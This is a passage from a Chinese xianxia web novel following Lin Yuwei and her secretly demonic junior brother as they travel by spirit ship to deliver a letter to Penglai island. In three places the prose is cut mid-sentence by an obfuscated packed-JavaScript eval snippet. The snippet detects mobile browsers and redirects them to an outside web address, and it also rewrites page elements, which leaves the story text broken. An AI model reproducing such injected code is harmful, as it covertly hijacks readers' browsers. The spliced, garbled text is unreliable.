夜晚的冷风拂面而过,院前的大椿树叶沙沙作响。 得到小师弟的再三保证后,林予微终于安下心来。 她实在有些支撑不住,脑袋一沉,直接倒在了蔺无咎的身上。 漆黑的瞳眸无声晃了晃,蔺无咎偏过脑袋,望着少女安静的侧脸——那日她有心要将自己拐回微尘山,说的话虽真假参半,但只身一人来了飞仙关一事却是真。 大魔头其实想不太明白。 他这小师姐胆小如鼠,为一个连面都没见过的新入门弟子,究竟是如何敢闯飞仙关的? 蔺无咎耷拉下眼皮,目光在她身上落了片刻。 只是因为想考入内门? 还是因为想要……杀他? 蔺无咎有些困惑。 可她既从未见过他,又为何要杀他? 17. 送信 蔺无咎能够凝气的事没瞒多久,很快就被林予微知晓。 得知小师弟上山不到一月就在识海中筑成灵台后,她修炼起来更是丧心病狂,每日起早贪黑,起得比鸡早,睡得比狗晚,整日顶着一对熊猫眼,在他面前晃。 冲星一时有些看不下去了,转身和谎称胸闷气短,跑出来躲清闲的蔺无咎打起商量: “主上,冲星觉得您实在有些修仙天赋,就短短一个月时间就抵过那林予微十一年的辛苦修炼。我看她也怪折腾的,不如您就指点她一二……让她别大半夜在院子里练剑了……” 蔺无咎低头擦着手中竹剑,语气里听不出任何情绪:“你拿一个凡人跟本座比?” 冲星缩回脑袋:“自然不敢。” 沉默良久,蔺无咎才放下手中竹剑,看向院外对着剑谱抓耳挠腮的林予微。 “天下功法殊途同归,将不同的炁引入全身经脉,而天衍道则是引天地星辰之力运转人体的二十八脉,最后归藏识海。这一步她其实已经做到了。” 冲星不解:“那她为何这么多年都结不出灵台?” “识海。” 蔺无咎垂眼:“许多修士终其一生,识海所化不过是一方水洼,天赋好些的能化江河湖海。前几日我去探了林予微的识海,是片无垠虚空。” 冲星有些惊讶:“这么说林予微的天赋应是上乘?” 蔺无咎轻哼:“物极则反,对于普通修士来说识海自然越大越有利于日后修行,可她的识海太大,根本填不满,更别说筑成灵台。若不借外力,一辈子都只能止步于此。” 冲星想了想:“可当初我在幽冥好像听过,为避免识海过大迟迟不筑灵台,仙门修士会用一种法器控制识海大小,虽不算常见,但也并非稀有之物。看那林予微怕是一直以为自己天赋不行,根本不知是识海缘故,那老鸡精为何不提醒她一句?” 它“啧”了一声,自顾自答道,“难不成是因为太穷了,买不起这种法器?” 蔺无咎沉眸。 他这位小师姐心态一向很好,每天使不完的牛劲,也是个倔脾气,哪怕棠九枝没钱给她买这种法器,她也一定会想办法自己弄到。 或许是棠九枝在刻意隐瞒什么。 他眯起眸子,偏头望向院中练剑少女勤恳却又笨拙的背影。 这微尘山一师一徒身上,到底藏了什么秘密? - 据林予微自己所说,她是在十多年前的二月份被师父棠九枝捡回微尘山的。 当时她年纪太小,记不太清自己生辰,看到其他同龄孩童庆生心中十分羡慕,棠九枝便将捡回她的这日定做她的生辰日,每年都会送她三样生辰礼。 过了二月二后,林予微就开始掰着手指数日子,生辰这天一大早就迫不及待去敲棠九枝的房门。 “师父——!” 棠九枝一开门,就见自己的大徒儿朝他一摊手,笑得没心没肺:“师父今年生辰打算要送徒儿什么呀?” 棠九枝笑着摇了摇头,叹了口气将早就准备好的一袋灵石递给她。 她低头打开一看,满脸惊喜,开口唤“师父”时也亲昵了许多。 清虚宗虽与民间一样可以以铜板与银两交易为主,但若要进灵宝阁购买丹药灵器,必须要用灵石交换。 林予微掂了掂,这一袋少说也有两百灵石,足够买一把上好的灵剑了。 不过林予微已有佩剑“不出”,暂时无需再添灵器,还是存起来日后给小师弟用。 她小心翼翼将那袋灵石揣好,继续眼巴巴地看向棠九枝。 “师父还有吗?” 棠九枝又递给她一支形似棠花的玉簪。 林予微拿着簪子看了半晌,还了回去:“这簪子有什么特别之处吗?我又不装束打扮,放着也没用,师父你给我换一个吧。” 棠九枝睁开一只眼睛,吹着胡子:“你也不是当年什么不懂只知道抱着为师衣袖抹眼泪鼻涕的孩童了,出门时至少穿套干净像样的衣服,再把你那歪歪扭扭的发髻梳正,添几样首饰。外头和你一般大小的姑娘,哪有你这般整日灰头土脸的。” 林予微立马反驳:“修仙之人本就不拘小节,我要顶着一头发饰怎么练剑。” 说着,她又看向棠九枝头顶稀疏潦草毛发,不服气道,“再说,我都是和师父学的,师父不也整日都这样吗?” 棠九枝眼皮一跳,纠正道:“为师没叫你把脑袋插满。为师都三百多岁了,年轻时那也是风流倜傥,周正得很,才不像你这般。” 林予微抬头,端看了师父片刻,心想自己大概是眼瞎了,怎么横竖都瞧不出“周正”二字写在何处。 棠九枝拿她没办法,叹了一声:“如今这山上除师父外,还多了你师弟看着,总归要有些师姐的模样。” 一说到师弟,林予微勉强将话听进了三分,哼哼两声:“好吧,这就算第二样。” 将玉簪收下后,她又踮起脚往棠九枝身后看,一脸期待:“第三件生辰礼师父要送我什么呀?” 棠九枝摇头晃脑,缓缓吐出两个字:“送信。” “啊?” 棠九枝笑眯眯地拿出一只竹筒:“这第三件生辰礼,便是让你替为师去蓬莱仙岛送信。” 前几日林予微到膳堂,确实听见几个弟子在讨论近日蓬莱仙岛现世,邀仙门各派年轻弟子前去交流学习一事。 林予微嘟囔:“这算哪门子生辰礼?” 话虽如此,但她还是伸手接下师父手中的竹筒。 棠九枝抚须笑了笑:“日后你自会明白的。” 林予微虽有些不满,平日看着在师父面前没个规矩,偶尔还要拉着小师弟在背后指摘师父两句,但内心还是十分敬重棠九枝的。 “那师父是要我将信送给谁呀?” “蓬莱仙岛的扶琅仙师。” 林予微瞬间惊恐地瞪大眼睛,抬手在棠九枝面前晃了晃,十分艰难开口:“师父……您不会是老糊涂了吧……” 那蓬莱仙岛的扶琅仙师可是七境修士,若非三百年前魔头斩断通天梯,断绝了唯一的飞升途径,此时她怕是早就成仙了。 师父怎会认得扶琅仙师?! 那可是修真界传说中的大人物,林予微上一次见她名字,还是从哪部古籍看到的。 棠九枝拍开她的手:“师父还没糊涂到这种地步。” 林予微吃痛地缩回手,还是有些不信:“师父,你确定我跑到蓬莱仙岛门口大喊一声‘我要见扶琅仙师’不会被人打出去?” 扶琅仙师这种人物岂是她想见就见的,况且她还听说这位扶琅仙师的脾气不太好。 棠九枝道:“你尽管报我的名号,她自会相见。” 此话林予微是半个字也不信。 她今日就算想破脑袋,也想不出一个高高在上的蓬莱仙师,和她那整日抱着根鸡毛掸子,贼眉鼠眼、样貌猥琐的师父有什么交集。 若师父当真有什么本事,跑去清虚宗主面前喊一声“我与扶琅仙师是故交”,定会被奉为座上宾,也不至于沦落到微尘山当一个小小的外门长老。 林予微不懂师父,但好歹还是懂些尊敬师长的大道理。 纵然内心有千百个不愿意,可见师父执意要她去送信,做徒儿的也只能尽尽孝心,满足他老人家的心愿。 “好,知道了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16447129|185148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”她兴致恹恹地答应下。 “若到时扶琅仙师不见徒儿,可怪不到徒儿头上。” - 林予微素来心大,刚刚还跟着师父闹别扭,不情不愿答应送信,转头在院子里逗了一会儿胖驴,立马整理好心态,坦然地接受了这件事。 反正距弟子考核还有好几个月,这段时间就当带小师弟下山历练,顺便增长见闻。 想到这里,林予微又立马蹦蹦跳跳地去寻小师弟。 蔺无咎自是不愿下山的,他为寻魔丹才混入了清虚宗,这会儿林予微又要带他下山。 “师弟不必担心,最多半月我们就能回来了。”林予微还以为师弟是担心弟子考核。 “半月?” 林予微一点头:“对啊!” “师姐手中不是有师父的瞬移阵,为何还要那么长时间?” 林予微摇头:“师弟不知,书上说这蓬莱仙岛位于东海,踪迹难寻,若非蓬莱宗主主动解阵,旁人根本无处寻找。在仙岛现世时,为避免邪道混入,蓬莱弟子会在海边设下几处渡口,每日开放的渡口不同,每个渡口之间都相隔数十里。若想找到当日准确的渡口位置,还需沿途慢慢向人打听。” 蔺无咎觉得能想出这种法子的人简直有病。 林予微劝道:“师弟你看这蓬莱仙岛时隔多年才现世一回,是不可多得的机会。如今修真界中踏入七境的修士不过寥寥,光蓬莱仙岛就占了七成,我们虽不求成仙,但去凑凑热闹,增长见闻也是极好的。” “师姐,你确定你我二人能入蓬莱吗?” 林予微稍有迟疑:“那……我就不知道了。” 蔺无咎:“……” “若是进不去,我们再回来便是。” 反正都是为了应付师父,只要她去了蓬莱,即便送不成信,师父也总不好说些什么。 “若不能用符,师姐可有想好怎么去?” 林予微想也不想:“自然是要带上白眼了。” 那胖驴吃了她这么多东西,当然得用上。 “……” 又是那头死胖驴。 蔺无咎嘴上不说,但眼神却颇为嫌弃。 很快这种情绪被林予微敏锐地捕捉到了。 她心想,上回二人是坐马车回的微尘山,虽比不上其他弟子的飞行灵器,但看着也算宽敞雅致。从平日师弟的一言一行也能看出师弟是个讲究人,有些小娇气,只不过因为脾气温和所以才处处迎合,从不生抱怨之言。 如今她要小师弟骑驴下山,前往蓬莱仙岛,想想那画面确实有些磕碜,师弟有些嫌弃也是人之常情。 更何况,小师弟一个字都没说,定是又打算委曲求全。 林予微攥了攥拳头,暗下决心。 不行,她绝不能如此委屈师弟! 想到这里,她忙不迭将小师弟推回屋中,替他关上房门:“这样,小师弟你先整理东西,我们明日一早出发!师姐也先去准备准备,明日一定给你一个惊喜!” 说罢,转眼就跑不见了踪影。 “……” - 蔺无咎以为,凭借这些时日他对林予微的了解,惊喜多半会成惊吓。 尽管第二日清早他在推开房门前已经做好了心理准备,但还是被眼前一幕震惊到了—— 只见今日之白眼已非昨日之白眼,而是穿红戴绿,颇显喜庆气派,脖前挂着一圈大红绢花的全新白眼! 紧接着,林予微跟个猴似的不知从哪跳窜了出来,一脸期待地拉着他亲切询问:“师弟,你觉得怎么样?” 蔺无咎面无表情:“……” 师弟觉得不怎样。 18. 脑残 经蔺无咎的再三劝阻,林予微总算打消了将白眼带下山的念头。 此次前往蓬莱仙岛重新现世,广邀各大仙门弟子前去,清虚宗共被分到了两个弟子名额,若二人与这些弟子同行也不失为一种办法。 不过,林予微只是去送信,不想与旁人有太多来往,免得又生出什么事端,不等清虚宗公布派出弟子的姓名,她就已经带着小师弟下山了。 她与师弟利用瞬移符一路东行,在抵达一处名为丹阳的小镇后遇上不少准备前往蓬莱仙岛的弟子,林予微当即决定租辆马车跟在这群人身后,寻找蓬莱渡口。 - 三日后。 林予微带着小师弟风尘仆仆地赶到了云水渡。 原先他们跟着的那群弟子各有御行神通,寻常车马根本追不上。 二人一路走走停停,又从过往的仙门弟子口中打探消息,险些走错了路,好在今日还是赶上了云水渡的玄舟。 林予微从守渡使口中得知,蓬莱仙岛派出的玄舟还需一炷香时间才能到。 墨浪翻雪,腥咸的海风迎面吹来,水汽沾湿了她的头发,林予微抬头眺向远处——可惜海面白雾重重什么都瞧不清,只能听到海浪拍打近岸礁石的哗啦声响。 林予微旋即收回视线,收拾好马车中的行囊,拉着小师弟跟上了渡口前的长队。 此次前往蓬莱仙岛的弟子众多,蔺无咎的眼尾扫视周围一圈,发现这群弟子极为年轻,年纪最长者也不过二十出头的模样,却几乎全是三四境之上的修为。 林予微则手捧竹筒信,伸长脖子四处张望,对着过往弟子身上携带的高阶灵器垂涎三尺,心中很是羡慕。 蓬莱仙岛给予的入岛弟子名额有限,能被各大宗门选中派出的弟子都代表着宗门的脸面,这其中无论哪一人,都是门中翘楚。 她站在人群中,倒也没因自己修为低微而自惭形秽,只是握紧拳头暗中鼓励自己日后定能成为他们那样厉害的修士。 正当林予微望着不远处一名弟子身后背着的鎏金剑匣几乎快看直了眼时,忽然不知从哪冒出一个白衣青年十分热情地冲到她师弟面前,开始自报家门,然后又说见他气度不凡想与他结交。 蔺无咎冷脸拒绝。 那人先是悻悻说了声抱歉,而后从怀中掏出一套纸笔不知在记录些什么。 见他退了两步就要走,林予微也没在意,扭开脑袋准备继续研究那只鎏金剑匣。 就在这时,青年像是被雷劈一般,浑身抽搐不止,紧接着“啪”地倒在二人面前,手中的册子也随之掉在了她的脚边。 紧接着,青年又像是无事人那般爬起神,一脸茫然地看向四周,拉着离他最近的蔺无咎接连喷出一连串“我是谁”“我在哪里”“刚刚发生了什么”诸如此类的奇怪问题。 蔺无咎利索地从他手中抽回衣袖,心想:本座一觉睡了三百年,今日也算体会到何为物是人非——这年头傻子也能修仙了。 还是林予微将地上的册子捡起,翻到第一页看了眼又塞给那人:“空山派李荇。” 青年低头看了看,一拍脑袋:“原来我是空山派李荇啊!” “……” 得知自己的来历与姓名之后,青年看起来安心了许多,左右看了看,紧接着又对蔺无咎重复了一遍方才的话:“我见这位道友气度不凡,不知是出自哪一门派?不知在下是否有幸结交……” 蔺无咎面无表情地扭头看向身旁的林予微。 ——这人脑子是被驴踢了吗? 林予微有些无奈,主动上前将对方手中的册子翻到最后一页,指着墨迹未干的那行字对他道:“你刚刚已经被拒绝了。” 青年又恍然大悟,当即表示明白,十分干脆地转身离开。 看着对方离开的身影,蔺无咎问:“这人究竟是怎么回事?” 林予微解释道:“他们空山派弟子就是这样,师弟习惯就好。” 见小师弟依旧困惑的神情,她继续道:“空山派主修无始道,信奉无始仙尊,认为人的记忆是牵绊红尘的根本,所以需修炼无始天书来遗忘过去,以此达到忘我之境,与天地万物并生。” “这些人修为越高忘掉的东西就越多,这个李荇应已是五境修士,每隔几日就会像方才那样忘记自己是谁。” 蔺无咎:“……” 原来空山派弟子的修炼目的就是为了把自己修炼成一个脑残吗? 若是如此,那还不如每日对着脑袋敲一棍,想必不出三月此人就与无始道七境修士难分伯仲,变成了一个彻头彻尾的傻子。 “五境修为,忘性就如此,那若是七境的无始道呢?” 林予微:“无始道没有七境。” 蔺无咎的神情略显遗憾。 “不过……” 林予微好像想到了什么,神秘兮兮地一把拉过他,用仅有两人能听到的声音凑在他耳边道,“我曾听师父说,其实一百年前空山派是有一位七境修士的,因与人结仇被人追杀,关键时刻忘记自己有灵力,不小心掉下悬崖摔死了。” 七境、摔死。 蔺无咎挑眉:“……” 修成脑残,果真不假。 “此事在修真界算不得什么秘密,但却是空山派的禁忌。”林予微嘱咐,“师弟千万不要在他们面前提,不然会被追杀的……” 蔺无咎点头应下,抬眼时无意瞥见不远处站着的几个面色惨白,眼神阴郁的黑袍怪人。 他抬手一指:“师姐,那些又是什么人?” 林予微顺着他所指方向看过去。 恰巧几人此时也注意到林予微的视线,阴恻恻地看着她,冲她扯出一个极为诡异的笑容。 林予微顿时感觉有些毛骨悚然,倒吸一口冷气,忙不迭移开目光:“是鬼域门弟子。” “鬼域门?” “鬼域弟子行黄泉道,依靠汲取逝者魂魄中三尸之力进行修炼,因常年出没乱葬岗,与尸体打交道,看起来有些不人不鬼。” 蔺无咎奇怪道:“他们也想成仙?” “那倒不是。” 林予微“鬼域门的飞升,与寻常修士口中飞升不同,一个向地,一个向天。” “这些弟子信奉十殿阎罗,认为人的魂魄被囚在肉体凡胎,唯有毁灭肉身,魂魄才能得以解脱,从而进入幽冥界以得长生,所以他们常常撺掇人自杀,师弟以后离他们远一点为好。” 蔺无咎漫不经心道:“他们既认为凡尘苦楚,何不先替自己解脱了?” 林予微挠了挠头发:“我也是见书中提起,鬼修和佛修一样有类似‘功德’的东西,鬼修在世苦修,劝人解脱便算积累善行,善事做得越多功德越多,等他们‘飞升’入幽冥成为的鬼仙,仙职也就越高。” 蔺无咎:“……” 什么邪门歪道。 “不过这群鬼域门弟子看着并非善类,但他们与佛修一样不可杀生,师弟日后碰到他们,不理他们就没事了。” 蔺无咎眉梢微挑。 林予微原本还想说些什么。 就在这时,一道轰响声从另一头传来。 林予微闻声抬头望去,只见海上的浓雾倏忽朝着两侧散开,浪潮激涌拍岸,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“……” 完了。 舱房之间并不隔音,林予微这边翻箱倒柜、鬼吼鬼叫的动静很快被蔺无咎听见。 他抱臂站于舱门外,歪头看向屋中正愁眉苦脸的林予微:“师姐,怎么了?” 林予微眼巴巴地回头看了他一眼,有气无力:“饿……” 蔺无咎心神一怔,下意识往后退了一步。 他到现在都还记得,林予微当初饿得神志不清,昏死在半路,他听信冲星的话将人拎到附近镇中,结果中途被她咬了一口。 此人没心没肺,任凭旁人冷嘲热讽、刻薄挖苦,她都受得住。 可唯独经不起饿。 林予微腹中饥饿难忍,一脸精神萎靡地拉着小师弟走出了船舱,想要再找找有没有可以果腹之物,若能有辟谷丹也是极好的。 可惜她询问了一圈,也没问出个究竟来。 正当林予微打算回到舱房休息,先保留些体力时,不知从哪忽然飘来了一阵油滋滋的肉香气。 “哪来的红烧肉的香味!?” 林予微瞬间清醒过来,忙不迭顺着这股香味寻到了甲板东侧。 只见甲板东侧角落里被人隔开了一道空间,过往弟子们纷纷避让,舷墙内侧不知何时被人搬上一张紫檀贵妃榻,一个衣着贵气的少年跷着二郎腿侧坐其中,一手撑着脑袋闭眼休憩,而他面前的那张小案上一丝不苟地铺了张缠枝金丝桌布,上头摆满了各色菜肴。 身后左右站了十余名容貌姣好的侍者,为他捶背捏腿扇风夹菜,甚至不远处还有俩厨子在新搭的灶台前财大气粗地使用灵火颠锅烧菜。 林予微心中暗自嘀咕了一句:海上风浪都这么大了,还要人给他扇风,也不怕将脑子吹坏。 紧接着,她定睛一看。 ——这不是杜彦那个骚包吗? 19. 目光 林予微忽觉有些晦气,正准备拉着小师弟离开。 恰在此时,杜彦发现了她,惊喜道:“好巧啊!林予微——” 少年身着金丝锻褂,臂带金钏,腰间悬了把镶金带玉的长剑,十指戴满颜色各异的宝石金戒,手中还晃着一面洒金扇,简直富贵逼人,骚气冲天。 他半靠椅背,笑嘻嘻道:“见了本少爷怎么也不知道过来打声招呼。” 杜大少爷一嗓门,立马引来了周围无数道目光。 林予微移开视线,装作不认识。 见她要走,杜大少爷却好像天生看不懂旁人的脸色,继续抬高嗓门道:“早就听说蓬莱玄舟上没有吃的,本少爷特地带了府上最好的厨子。上回的事本少爷不同你计较,乖乖喊我声杜师兄,本少爷就大发善心分你一些吃食,如何?等会儿明夷师姐也会过来……” 林予微想都不想:“不如何!” 说罢,她拉着小师弟转身就走。 起先,蔺无咎并未认出榻上的少年是何人,只是觉得对方声音有几分耳熟。 但很快他就从林予微的态度中察觉出几分端倪。 蔺无咎的余光从杜彦轻轻身上扫过,心下了然。 ——原来是上回跑来微尘山挑衅的那颗聒噪猪头。 - 林予微带着师弟穿过甲板来到了最西侧,才勉强闻不到那菜香味。 蔺无咎见她面色不善:“师姐方才为何那么生气?” 比起那日事务堂外的弟子,那人语气算不上客气,但毕竟也没有说什么辱人的言语。 林予微对旁人的闲言碎语确实不怎么在意,懒得同他们计较,但唯独杜彦。 她愤愤道:“那个杜彦最不是东西了!” 这些年她遇到的麻烦,几乎都源于杜彦。 就像那日在事务堂外对她出言不逊的秦白,不过是为了巴结杜彦才如此针对她。而在这么多年里,她在清虚宗遇到的又何止一个秦白? 林予微:“师弟日后见了他也离得远些。” 蔺无咎乖顺点头:“好,都听师姐的。” - 原以为只要远离杜彦这厮便可相安无事。 可偏生这尊大佛不知被哪道门夹坏了脑子,好端端地腾了地方,差人将所有东西都搬到距离二人舱房最近的甲板通道。 各种菜香透过门缝窗缝从四面八方袭来,林予微又气又饿,翻来覆去睡不着,却不能拿他如何,只能气冲冲地从屋中走出恶狠狠地瞪了他一眼。 杜大少爷生怕事情闹得不够大,抬手一点,指着面前一盘辣子炒肉,十分嘚瑟地问:“本少爷好饱啊,你吃吗?” 林予微白了他一眼,扭头就走。 为躲开杜彦这个阴魂不散的家伙,她一口气跑到了最高的舱顶平台。 夕阳余晖彻底沉下,夜幕深邃安宁,繁星璀璨,海天相映相连,几乎融为一色。 海风吹起她的衣袖,林予微抬头望满天星斗,双臂撑着舷杆,闭眼听着浪潮涌动,内心终于平静了许多。 一道脚步声倏忽出现,打破了此刻的安宁。 林予微回头这才发现师弟不知何时跟了上来。 她收回目光,低头看了看鞋尖,面露羞愧:“都怪我没有提前打听玄舟上的情况,害小师弟和我一同饿肚子。” 蔺无咎与她并肩站立,抬眼望向海天交汇之处,温声宽慰道:“师姐此次是来送信,自然与那些有师门嘱托的弟子不同,师姐不知情也非师姐的过错,况且我也不饿。” 林予微听后内心十分感动。 小师弟懂事乖巧,跟着她饿了肚子,非但不怪罪,反倒过来安慰她,比那落井下石、挨千刀的杜彦不知好上千万倍! 她吸了吸鼻子:“等离开玄舟,师姐定带你好好吃一顿……不!三顿!到时候我们就把整本菜谱都给炒了!那些丹芳斋的点心也要点一遍!我想吃桂花红豆馅的……” 说着说着,林予微的肚子又不争气地“咕咕”叫了起来。 蔺无咎:“若实在不行,师姐就先从那杜彦地方拿些吃食来吧。” 林予微坚决不同意:“不行。” 蔺无咎心道,真是个犟脾气。 忽然,林予微像是做了一个重大的决定,面色严肃地对他道:“师弟!我们去钓鱼吧!” 蔺无咎:“?” 他险些以为自己听错了。 方才失落的情绪一扫而空。林予微偏过脑袋,冲他眨眼,笑容狡黠得像只小狐狸:“我向蓬莱仙使打听了,这玄舟是依靠燃烧漱金鸟所吐的辟寒金作为驱动灵力,而玄舟船体庞大,辟寒金的用量也极大,不过此物材质特殊稍有不慎就容易爆炸,所以只能放在一定大小的容器中,肯定是没办法撑到蓬莱仙岛的。” 蔺无咎听着她的话,有些愣神。 林予微抬着下巴,眉飞色舞道:“而且这个辟寒金还有一个特点,一旦点燃就不得再暴露于空气中,也就是说它在没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16447131|185148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用尽的情况下是不能打开重续的,必须要等到用尽再进行更换,所以这艘船中途一定会停。我打听过至少会停一炷香的时间。” 紧接着,她又指向甲板一处角落,“方才师姐研究过了,那边下面有个下落的平台,要比甲板低许多,可以借悬梯爬下去,此地正适合海钓!我估摸着玄舟也差不多快停了。” 蔺无咎斜靠在舷栏边,视线不自觉落在了林予微极尽灵动的眉眼之间——她倒还真不是一个能够轻易安生的性子。 林予微一扫之前的萎靡,兴高采烈地宣布道:“只要在停船的时间钓到鱼……” 蔺无咎十分配合地接下她的话:“我们就有鱼汤喝了。” 她眉眼微弯,兴奋点头:“正是!” 说完,林予微又带着他回到船舱内摸出一根长竿,上头不知何时早已绑好了细线,而细线尾端甚至挂上了鱼钩,一看便知这些都是她不知从什么地方摸出来的材料拼拼凑凑做成的。 不过看着倒还真有几分鱼竿的模样。 还以为方才她先是躲入舱房,后又跑到舱顶透风散心都是被那杜彦气的。 原来是一直在找解决的对策。 不知为何,蔺无咎眼前忽然闪过当初在微尘山时,少女抓耳挠腮地研究着棠九枝布下的功课,认真而又倔强的眼神。 仔细想想,林予微无论是面对幻化凶兽,还是钻研那些晦涩枯燥的剑谱功法。她会胆怯,会抱怨,甚至有时候还会在棠九枝面前耍小性子,可他似乎从未见过她放弃。 蔺无咎关上舱门,默默走近。 修为虽差了些,但好像也不算一无是处。 此时,林予微正坐在桌前低头认真捋着鱼线。 蔺无咎看了她一眼,在她身侧的位置坐了下来。他并未催促,目光好似扎了根似的,落到她身上就不再移开。 那线实在太细,加上屋内只点了一盏灯,林予微一双眼珠都快瞪成斗鸡眼了也没找到。 蔺无咎看了好一会儿,两指轻捻起挂在她发上的细线递到她手中。 林予微十分惊喜地接过:“多谢师弟。” 蔺无咎默不作声,继续垂眸看她。 察觉到小师弟的目光,林予微蓦地抬头,眨眨眼,有些不解。 她摸了摸脸颊:“怎么了师弟?我脸上是有什么东西吗?” “没什么。” 蔺无咎摇头。 “只是忽然觉得师姐身上似乎也有许多过人之处。” 20. 不出剑 二人取走鱼竿就要离开时,杜彦依旧在那里吵吵嚷嚷地说着风凉话。 面前一桌菜叫人热了又热,根本没动几口。 林予微没有理他,目不斜视地抱着鱼竿径直从他身边走了过去。 杜彦瞧见自己被人无视,气得直跳脚:“林予微,你到时候饿死了可别后悔!” 林予微充耳不闻,爬下甲板,在平台找了个位置坐下。 果然没过多久,玄舟缓缓在海面上停了下来。 林予微掏出怀中的干饼,撕成小块,然后将它挂在鱼钩上甩入海中,又小声嘀咕了一句:“也不知这海里的鱼吃不吃得惯陆地上的霉干饼。” 二人肩并肩坐着,听着海浪拍打的声音,湿咸的海风迎面吹来,带着一丝冷意。 林予微将鱼竿固定好后,拢了拢披风,可转头又看见小师弟身上单薄的衣裳,立马抓起披风一角往他身上盖,并认真叮嘱:“师弟你身子弱,海上可比微尘山冷多了,日后衣服还是要多穿一些。” 蔺无咎若有所思地垂眼看着她低头整理披风,努力想将它拉扯到包裹住二人的认真模样。 良久,才轻轻地应了一声。 “好。” 恰在这时,林予微的肚子又不合时宜地又叫了起来。 她揉了揉肚子,觉得脑袋有些昏沉,大概是觉得背着剑有些碍事,便将它卸下放在了一旁。 蔺无咎的目光落在了这柄平平无奇、又有些笨重的剑上。 “我见师姐从未拔出此剑,为何时时将它带在身边?” 林予微坦言:“不出剑是师父赠予我的,当然要时常带着。” 以为小师弟也想要剑,她笑眯眯道:“等日后你把师父教的那套剑法学会,师姐定也为你寻一把上好的灵剑。” 蔺无咎又问:“那它为何要叫‘不出’?” 林予微摸了摸鼻子。 自然是因为以她如今的修为暂时还拔不出此剑。 不过她不好意思直言,只是一板一眼学着神棍师父模样,摇头晃脑地嘿嘿一笑,然后十分臭屁且嘚瑟地伸出三根手指:“此剑名共有三层含义,我可是想了好久呢!” “哪三层?” “我修为差,若遇上比我厉害的对手,转身就逃,没必要出剑。” “若遇上修为与我一般差的,拔剑不如拿它当棍使来得快,也没必要出剑。” “……” 蔺无咎一时竟无言以对:“那第三种呢?” 林予微笑嘻嘻道:“等日后我将‘不出’修炼出剑灵,与人比试时,那人只要喊一声‘出剑’,我就唤一句‘不出剑’,对方肯定会卸下防备,而我的‘不出’就绕至背后猛地扎他一剑。” 蔺无咎沉默半晌,艰难开口:“……师姐可真是天才。” 林予微谦虚摆手:“小意思。” 她其实也觉得自己在取名方面颇有天赋来着。 “你看白眼的名字也是我给取的,还有那……” 为了避免林予微继续向他展示她那见鬼的取名天赋,蔺无咎连忙转移话题,看向海面:“师姐,过去那么久了还没动静,我们今日真能钓到鱼吗?” 林予微终于打住,摇了摇头:“不知道。” “不过不试试又怎么知道。”她心态一向很好,“说不定就有意外之喜呢。” 蔺无咎应了一声,闭上双眼,不再说话。 明月高悬,清辉无声洒落在二人的肩头。 不知过了多久,原先风平浪静的海面下涌起一道道暗潮。 “师姐。” 蔺无咎似有所感,好似被什么东西勾起了兴致,偏头看向身侧的林予微,眼底闪过一丝不易察觉的光。 他轻声道:“我听人说深海海域会有一种名为海兽的妖族出没,那师姐的鱼钩会钓上海兽吗?” 听到“海兽”二字林予微心里就有些发怵,但师弟好奇,她作为师姐自然是要好好解答。 “海兽体型庞大,有甚者比这艘玄舟还要大上许多,一根小小鱼竿怎会钓上海兽,况且它们体型庞大,破坏力极强,又喜食血肉,不吃我发霉了的干饼……” 蔺无咎颔首,笑着应下:“倒也是,我白天听船上的师兄们说那海兽喜好食人,一口就能吞吃几十个活人呢。” “师姐,你说海兽到底是长什么模样?” 他故意压沉嗓音,仔细觑着她细微的神情变化,神情中隐隐透着一丝不怀好意。 “我还真是有些好奇呢……” 林予微并未发现什么异常,只当是师弟从未见过,好奇心强。 林予微也没见过海兽,对于海兽的了解也只源于书册记载。 她从前无意翻到过一本画册,上面绘制的海兽小像,模样一个比一个吓人,旁边甚至还注了一行小字,是截至成书时海兽的食人数量。 当年看完那本画册后,吓得她整整半月都没睡好觉。 想到这里,林予微忍不住哆嗦了一下,搓了搓寒毛倒竖的胳膊,强定了定神:“反正不好看就是了。况且海兽并不常见,也很少会主动袭击海上的船只,师弟不必担心。” 说到后面她又底气不足地加了句:“即便真有海兽,师姐也会保护你,当然还有玄舟护法大阵。” 蔺无咎嘴角噙着笑意,并不当真。 他不过随口提了一嘴,她吓得脸都白了。 还想保护他? 用她低微到可怜的灵力,还是手中那根稍一用力便能轻易折断的杆子? 二人正在这边说着话,头顶忽然出现了一抹刺眼的光亮。 也不知是从哪里刮来的阴风,又将杜彦这个阴魂不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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杜彦感受到背后升起的海浪遮蔽月影,正迅速向他靠近,脸色煞白,吓得连一句完整的话也说不出。 就在这千钧一发之际! “抓住我!”林予微一个箭步冲上前,一把握住他的手腕,咬紧牙关生生将人强行拽回平台。 她虽讨厌杜彦,但平心而论也没讨厌到见死不救的地步。 